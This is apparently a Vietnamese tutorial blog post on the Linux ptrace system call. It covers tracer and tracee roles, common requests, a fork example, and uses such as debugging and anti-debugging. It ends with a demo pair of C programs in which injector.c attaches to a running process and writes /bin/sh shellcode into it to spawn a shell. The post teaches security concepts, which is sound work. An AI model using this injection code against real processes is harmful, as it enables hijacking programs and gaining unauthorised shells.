Post

PTRACE

Tìm hiểu kỹ thuật PTRACE

PTRACE

PTRACE

I. Giới thiệu

ptrace (process trace) là 1 lệnh gọi hệ thống (system call) cho phép 1 tiến trình (gọi là tracer) quan sát và điều khiển 1 tiến trình khác (tracee).

II. Cách hoạt động

Khi 1 tiến trình bị theo dõi thì nó sẽ dừng lại mỗi khi nhập 1 tín hiệu và chờ tracer cho phép tiếp tục.

TracerTracee
Tiến trình điều khiển thực hiện:
- Gắn vào tiến trình đang chạy
- Đọc/ghi bộ nhớ và thanh ghi
- Tiếp tục thực thi tiến trình bị theo dõi
- Bắt và xử lý các system call
Tiến trình mục tiêu bị dừng lại (trạng thái STOPPED) khi có sự kiện xảy ra (ví dụ: nhận tín hiệu), chờ lệnh từ tracer.

Các request phổ biến:

  • PTRACE_TRACEME: Được gọi bởi tracee, báo cho hệ điều hành rằng tiến trình cha của nó sẽ theo dõi nó.
  • PTRACE_ATTACH: Được gọi bởi tracer, để bắt đầu theo dõi một tiến trình đã có PID.
  • PTRACE_PEEKDATA / PTRACE_POKEDATA: Đọc/ghi một word dữ liệu từ bộ nhớ của tracee.
  • PTRACE_GETREGS / PTRACE_SETREGS: Đọc/ghi toàn bộ các thanh ghi của tracee.
  • PTRACE_CONT: Cho phép tracee tiếp tục thực thi.
  • PTRACE_DETACH: Ngừng theo dõi, tracee sẽ tiếp tục chạy bình thường.

Khi ptrace được sử dụng thì ta sẽ bắt gặp 1 thứ gọi là fork().

Hiểu đơn giản thì 1 tiến trình gọi tới fork() (tức là parent process) sẽ tạo ra 1 tiến trình mới (child process) là bản sao y hệt của parent process với cùng mã lệnh, dữ liệu ban đầu nhưng có PID(Process ID) riêng.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>

int main() {
    pid_t pid = fork();

    if (pid == 0) {
        // --- Tracee ---
        printf("Child: PID = %d, Parent PID = %d\n", getpid(), getppid());
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);   // cho phép bị theo dõi
        execl("/bin/ls", "ls", NULL);            // thay thế bằng lệnh ls
        perror("execl");
        exit(1);
    } else if (pid > 0) {
        // --- Tracer ---
        int status;
        waitpid(pid, &status, 0);                // chờ child dừng ở exec
        printf("Parent: PID = %d, Child PID = %d\n", getpid(), pid);
        ptrace(PTRACE_CONT, pid, NULL, NULL);    // cho phép child tiếp tục
        waitpid(pid, &status, 0);                // chờ child kết thúc
        printf("Child %d finished\n", pid);
    } else {
        perror("fork");
        exit(1);
    }
    return 0;
}

image

Sơ đồ mô phỏng khái quát quy trình hoạt động:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Parent                Child
  |                     |
  | fork() ------------>|
  |                     |
  |<--------------------| (pid == 0 ở child)
  |                     |
  |                     | ptrace(PTRACE_TRACEME)
  |                     | execl("/bin/ls")
  |                     | (child dừng lại, báo cho parent)
  | waitpid()           |
  |-------------------->|
  |                     |
  | (child STOPPED)     |
  |                     |
  | ptrace(PTRACE_CONT) |
  |-------------------->|
  |                     | chạy tiếp chương trình ls
  |                     | in ra danh sách file
  | waitpid()           |
  |-------------------->|
  |                     | child kết thúc
  |<--------------------|
  | in "Child finished" |

III. Ứng dụng

Debugging: GDB, LLDB sử dụng ptrace để đặt breakpoint, kiểm tra variables và thực thi step-by-step.

System Call Tracing: strace dùng ptrace để theo dõi tất cả các system call mà chương trình thực hiện giúp phân tích hành vì và chuẩn đoán lỗi.

Anti-debugging: dùng ptrace tự theo dõi chính nó (vì 1 tiến trình chỉ có thể được theo dõi bởi 1 tracer duy nhất tại 1 thời điển nên ngăn cản debugger khác gắn vào để phân tích).

Code injection: dùng ptrace attach vào 1 tiến trình hợp lệ để ghi shellcode rồi thay đổi instruction pointer để thực thi shellcode đó.

IV. Demo

Phần demo này gồm 2 chương trình: target (nạn nhân) và injector (kẻ tấn công). Injector sẽ gắn vào target, ghi một đoạn mã (shellcode) vào bộ nhớ của target và thực thi nó để mở 1 shell.

target.c

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>

int main() {
    printf("Target process started! PID: %d\n", getpid());
    printf("Waiting for injection...\n");
    // Vòng lặp vô hạn để giữ tiến trình sống
    while(1) {
        sleep(1);
    }
    return 0;
}

injector.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>

// Shellcode đơn giản để thực thi /bin/sh (x86-64)
const char shellcode[] = 
    "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff"
    "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48"
    "\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <pid>\n", argv[0]);
        return 1;
    }

    pid_t target_pid = atoi(argv[1]);
    struct user_regs_struct old_regs, regs;
    
    printf("--- Attaching to process %d ---\n", target_pid);
    if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
        perror("ptrace attach"); return 1;
    }
    wait(NULL);

    printf("--- Getting registers ---\n");
    ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs);
    memcpy(&regs, &old_regs, sizeof(struct user_regs_struct));

    printf("--- Injecting shellcode at 0x%llx ---\n", regs.rip);
    for (int i = 0; i < sizeof(shellcode); i += sizeof(long)) {
        ptrace(PTRACE_POKEDATA, target_pid, regs.rip + i, 
               *(long *)(shellcode + i));
    }
    
    // RIP (Instruction Pointer) giờ trỏ đến shellcode
    printf("--- Detaching and running shellcode ---\n");
    ptrace(PTRACE_DETACH, target_pid, NULL, NULL);

    printf("Injection complete.\n");
    return 0;
}

Tab terminal 1 khởi chạy target để lấy PID, terminal 2 chạy injector với PID của target để tiêm shellcode và thực thi. image

Có thể tóm tắt luồng hoạt động bằng sơ đồ sau:

image

Reference

https://codelucky.com/ptrace-command-linux/

https://cleveruptime.com/docs/commands/ptrace

https://johnewart.net/2019/an-introduction-to-ptrace/

https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html

https://linuxvox.com/blog/linux-ptrace/

https://medium.com/@razika28/looking-into-process-tracing-and-control-in-linux-with-strace-and-ptrace-f335330d1500

This post is licensed under CC BY 4.0 by the author.